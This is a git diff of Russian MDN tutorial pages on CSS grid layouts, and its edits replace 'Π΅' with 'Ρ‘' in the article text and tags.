+<p>ΠœΡ‹ рассмотрСли структуру Π‘ΠΊΠ΅Π»Π΅Ρ‚Π½ΠΎΠΉ сСтки Π²Ρ‹ΡˆΠ΅ - ΠΊΠ°ΠΊ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ сторонниС Ρ€Π΅ΡˆΡ‘Ρ‚ΠΊΠΈ ΠΈ Π΄Π°ΠΆΠ΅ Ρ€ΡƒΡ‡Π½Ρ‹Π΅ сСтки, для этого трСбуСтся Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ <code>&lt;div&gt;</code> для формирования строк, Π° Π·Π°Ρ‚Π΅ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ количСство столбцов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ элСмСнты Π² этих рядах.</p>
<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS Grid Layout Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ свою сСтку Π² CSS, Π½Π΅ добавляя эти Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ классы Π² Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ Π²ΠΎΠΎΠ±Ρ‰Π΅. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим наш простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΈ посмотрим, ΠΊΠ°ΠΊ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΌΠ°ΠΊΠ΅Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS Grid Layout.</p>
@@ -510,7 +510,7 @@ body {
&lt;div class="col span2"&gt;16&lt;/div&gt;
&lt;/div&gt;</pre>
-<p>На этот Ρ€Π°Π· Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ <code>&lt;div&gt;</code> с классом ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ (<code>wrapper</code>), Π° Π·Π°Ρ‚Π΅ΠΌ всС Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты просто ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ нСпосрСдствСнно Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ - Π½ΠΈΠΊΠ°ΠΊΠΈΡ… элСмСнтов строки. ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ класс ΠΊ элСмСнтам, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ столбца.</p>
+<p>На этот Ρ€Π°Π· Ρƒ нас Π΅ΡΡ‚ΡŒ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ <code>&lt;div&gt;</code> с классом ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ (<code>wrapper</code>), Π° Π·Π°Ρ‚Π΅ΠΌ всС Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты просто ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ нСпосрСдствСнно Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ - Π½ΠΈΠΊΠ°ΠΊΠΈΡ… элСмСнтов строки. ΠœΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ класс ΠΊ элСмСнтам, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ столбца.</p>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π² элСмСнт {{htmlelement ("style")}}:</p>
@@ -529,7 +529,7 @@ body {
<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ устанавливаСм ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ <code>.wrapper</code>, поэтому ΠΎΠ½ΠΎ составляСт 90% ΠΎΡ‚ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Ρ‚Π΅Π»Π°, с Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ {{cssxref ("max-width")}} 960px.</p>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ для свойств сСтки CSS. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ сСтку, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>grid</code> свойства {{cssxref ("display")}}, ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΆΠ΅Π»ΠΎΠ± с свойством {{cssxref ("grid-gap")}}, Π° Π·Π°Ρ‚Π΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ сСтку ΠΈΠ· 12 столбцов Ρ€Π°Π²Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{cssxref ("grid-template-columns")}}, Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>repeat()</code> ΠΈ Π½ΠΎΠ²ΡƒΡŽ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρƒ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ для ΠΌΠ°ΠΊΠ΅Ρ‚Π° сСтки - Π±Π»ΠΎΠΊ <code>fr</code>.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ для свойств сСтки CSS. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ сСтку, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>grid</code> свойства {{cssxref ("display")}}, ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΆΡ‘Π»ΠΎΠ± с свойством {{cssxref ("grid-gap")}}, Π° Π·Π°Ρ‚Π΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ сСтку ΠΈΠ· 12 столбцов Ρ€Π°Π²Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Π΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ {{cssxref ("grid-template-columns")}}, Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>repeat()</code> ΠΈ Π½ΠΎΠ²ΡƒΡŽ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρƒ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ для ΠΌΠ°ΠΊΠ΅Ρ‚Π° сСтки - Π±Π»ΠΎΠΊ <code>fr</code>.</p>
<p>Π‘Π»ΠΎΠΊ <code>fr</code> прСдставляСт собой Π±Π»ΠΎΠΊ Ρ„Ρ€Π°ΠΊΡ†ΠΈΠΈ - ΠΎΠ½ описываСт долю доступного пространства Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π΅ сСтки. Если всС столбцы Ρ€Π°Π²Π½Ρ‹ <code>1fr</code>, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ Ρ€Π°Π²Π½ΠΎΠ΅ количСство мСста. Π­Ρ‚ΠΎ устраняСт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡ‚ΡŒ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹ для создания Π³ΠΈΠ±ΠΊΠΎΠΉ сСтки.</p>
@@ -567,7 +567,7 @@ body {
<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ, ΠΈ Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°ΡŽΡ‚ нСсколько столбцов, Ссли это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ. ΠšΡ€ΡƒΡ‚ΠΎ!</p>
-<p>Π‘Π΅Ρ‚ΠΊΠΈ CSS ΡΠ²Π»ΡΡŽΡ‚ΡΡ <strong>Π΄Π²ΡƒΠΌΠ΅Ρ€Π½Ρ‹ΠΌΠΈ</strong>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΠ°ΠΊΠ΅Ρ‚ растСт ΠΈ сТимаСтся, элСмСнты ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ Π²Ρ‹Ρ€ΠΎΠ²Π½Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΈ ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ.</p>
+<p>Π‘Π΅Ρ‚ΠΊΠΈ CSS ΡΠ²Π»ΡΡŽΡ‚ΡΡ <strong>Π΄Π²ΡƒΠΌΠ΅Ρ€Π½Ρ‹ΠΌΠΈ</strong>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΠ°ΠΊΠ΅Ρ‚ растёт ΠΈ сТимаСтся, элСмСнты ΠΎΡΡ‚Π°ΡŽΡ‚ΡΡ Π²Ρ‹Ρ€ΠΎΠ²Π½Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΏΠΎ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΠΈ ΠΈ ΠΏΠΎ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΠΈ.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ это, Π·Π°ΠΌΠ΅Π½ΠΈΠ² послСдниС 4 col <code>&lt;div&gt;</code> s ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ:</p>
@@ -576,14 +576,14 @@ body {
&lt;div class="col span3"&gt;15this&lt;br&gt;is&lt;br&gt;less&lt;/div&gt;
&lt;div class="col span2"&gt;16&lt;/div&gt;</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ строки ({{htmlelement ("br")}}), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· столбцов ΡΡ‚Π°Ρ‚ΡŒ Π²Ρ‹ΡˆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΡ…. Если Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ столбцы Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‚ ΠΈΡ… высоту, ΠΊΠ°ΠΊ самый высокий ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, поэтому всС остаСтся Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½Ρ‹ΠΌ.</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΠ»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ строки ({{htmlelement ("br")}}), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· столбцов ΡΡ‚Π°Ρ‚ΡŒ Π²Ρ‹ΡˆΠ΅ Π΄Ρ€ΡƒΠ³ΠΈΡ…. Если Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ столбцы Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‚ ΠΈΡ… высоту, ΠΊΠ°ΠΊ самый высокий ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, поэтому всС остаётся Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½Ρ‹ΠΌ.</p>
<p>ΠžΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚ выглядит Ρ‚Π°ΠΊ:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/13909/css-grid-finished.png" style="display: block; height: 130px; margin: 0px auto; width: 972px;"></p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Π°ΠΌ Π½Π΅ удаСтся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ свой ΠΊΠΎΠ΄ Π½Π° Π½Π°ΡˆΡƒ <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/css-grid-finished.html">Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ</a> (Ρ‚Π°ΠΊΠΆΠ΅ смотритС, ΠΊΠ°ΠΊ ΠΎΠ½Π° <a href="https://mdn.github.io/learning-area/css/css-layout/grids/css-grid-finished.html">Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² прямом эфирС</a>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Π°ΠΌ Π½Π΅ удаётся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ свой ΠΊΠΎΠ΄ Π½Π° Π½Π°ΡˆΡƒ <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/grids/css-grid-finished.html">Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½ΡƒΡŽ Π²Π΅Ρ€ΡΠΈΡŽ</a> (Ρ‚Π°ΠΊΠΆΠ΅ смотритС, ΠΊΠ°ΠΊ ΠΎΠ½Π° <a href="https://mdn.github.io/learning-area/css/css-layout/grids/css-grid-finished.html">Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² прямом эфирС</a>).</p>
</div>
<h3 id="Π”Ρ€ΡƒΠ³ΠΈΠ΅_ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ_сСтки_CSS">Π”Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ сСтки CSS</h3>
@@ -609,7 +609,7 @@ body {
<p>Нам Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ°Ρ€ΠΆΡƒ для Ρ„Π°Π»ΡŒΡˆΠΈΠ²Ρ‹Ρ… ΠΆΠ΅Π»ΠΎΠ±ΠΎΠ² ΠΈΠ»ΠΈ явно Ρ€Π°ΡΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈΡ… ΡˆΠΈΡ€ΠΈΠ½Ρƒ - сСтка CSS ΠΈΠΌΠ΅Π΅Ρ‚ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, Π²ΡΡ‚Ρ€ΠΎΠ΅Π½Π½ΡƒΡŽ прямо Π² свойство <code>grid-gap</code>.</p>
-<p>ΠœΡ‹ просто касаСмся повСрхности Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS Grid Layout, Π½ΠΎ Π³Π»Π°Π²Π½ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ Π² контСкстС этой ΡΡ‚Π°Ρ‚ΡŒΠΈ, это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ сСтку с сСткой - ΠΎΠ½Π° ΠΎΠ΄Π½Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ элСмСнт нСпосрСдствСнно Π² ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ сСтку. Π­Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° это Π±Ρ‹Π»ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS ΠΈ это ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° закрСпится.</p>
+<p>ΠœΡ‹ просто касаСмся повСрхности Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS Grid Layout, Π½ΠΎ Π³Π»Π°Π²Π½ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ Π² контСкстС этой ΡΡ‚Π°Ρ‚ΡŒΠΈ, это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ сСтку с сСткой - ΠΎΠ½Π° ΠΎΠ΄Π½Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠΌΠ΅Ρ‰Π°Π΅Ρ‚ элСмСнт нСпосрСдствСнно Π² ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ сСтку. Π­Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° это Π±Ρ‹Π»ΠΎ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS ΠΈ это ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° закрСпится.</p>
<h3 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅_свою_ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ_ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ_сСтку">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: ΠΠ°ΠΏΠΈΡˆΠΈΡ‚Π΅ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ сСтку</h3>
@@ -626,7 +626,7 @@ body {
<h2 id="РСзюмС">РСзюмС</h2>
-<p>ΠŸΡ€ΠΎΡ‡ΠΈΡ‚Π°Π² эту ΡΡ‚Π°Ρ‚ΡŒΡŽ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ grid-схСмы ΠΈ grid-структуры Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π² CSS. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ заглянули Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅Π΅ сСтки CSS ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π½Π°ΠΌΠΈ grid-сСтки - это, ΠΏΠΎ сути, стоп-Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΏΠΎΠΊΠ° Ρƒ нас Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡˆΠΈΡ€ΠΎΠΊΠΎ распространСнного способа достиТСния этого Π² CSS.</p>
+<p>ΠŸΡ€ΠΎΡ‡ΠΈΡ‚Π°Π² эту ΡΡ‚Π°Ρ‚ΡŒΡŽ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠ½ΡΡ‚ΡŒ, ΠΊΠ°ΠΊ grid-схСмы ΠΈ grid-структуры Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π² CSS. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ заглянули Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅Π΅ сСтки CSS ΠΈ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π½Π°ΠΌΠΈ grid-сСтки - это, ΠΏΠΎ сути, стоп-Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΏΠΎΠΊΠ° Ρƒ нас Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡˆΠΈΡ€ΠΎΠΊΠΎ распространённого способа достиТСния этого Π² CSS.</p>
<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}</p>
diff --git a/files/ru/learn/css/css_layout/index.html b/files/ru/learn/css/css_layout/index.html
index d5bc2e8e58..1fce962206 100644
--- a/files/ru/learn/css/css_layout/index.html
+++ b/files/ru/learn/css/css_layout/index.html
@@ -17,7 +17,7 @@ tags:
- TopicStub
- flexbox
- float
- - ВСрстка
+ - Вёрстка
- Π‘Π΅Ρ‚ΠΊΠ°
- ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅
- Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° страницы
@@ -43,7 +43,7 @@ translation_of: Learn/CSS/CSS_layout
<h2 id="Руководство">Руководство</h2>
-<p>Π­Ρ‚ΠΈ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ содСрТат инструкции ΠΏΠΎ основным инструмСнтам ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ вСрстки, доступным Π² CSS. На послСднСм ΡƒΡ€ΠΎΠΊΠ΅ Ρƒ Вас Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΡ†Π΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ пройдСнного матСриала посрСдством вёрстки Π²Π΅Π±-страницы.</p>
+<p>Π­Ρ‚ΠΈ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ содСрТат инструкции ΠΏΠΎ основным инструмСнтам ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ вёрстки, доступным Π² CSS. На послСднСм ΡƒΡ€ΠΎΠΊΠ΅ Ρƒ Вас Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΡ†Π΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ пройдСнного матСриала посрСдством вёрстки Π²Π΅Π±-страницы.</p>
<dl>
<dt><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² CSS вёрстку</a></dt>
@@ -54,26 +54,26 @@ translation_of: Learn/CSS/CSS_layout
<dl>
<dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></dt>
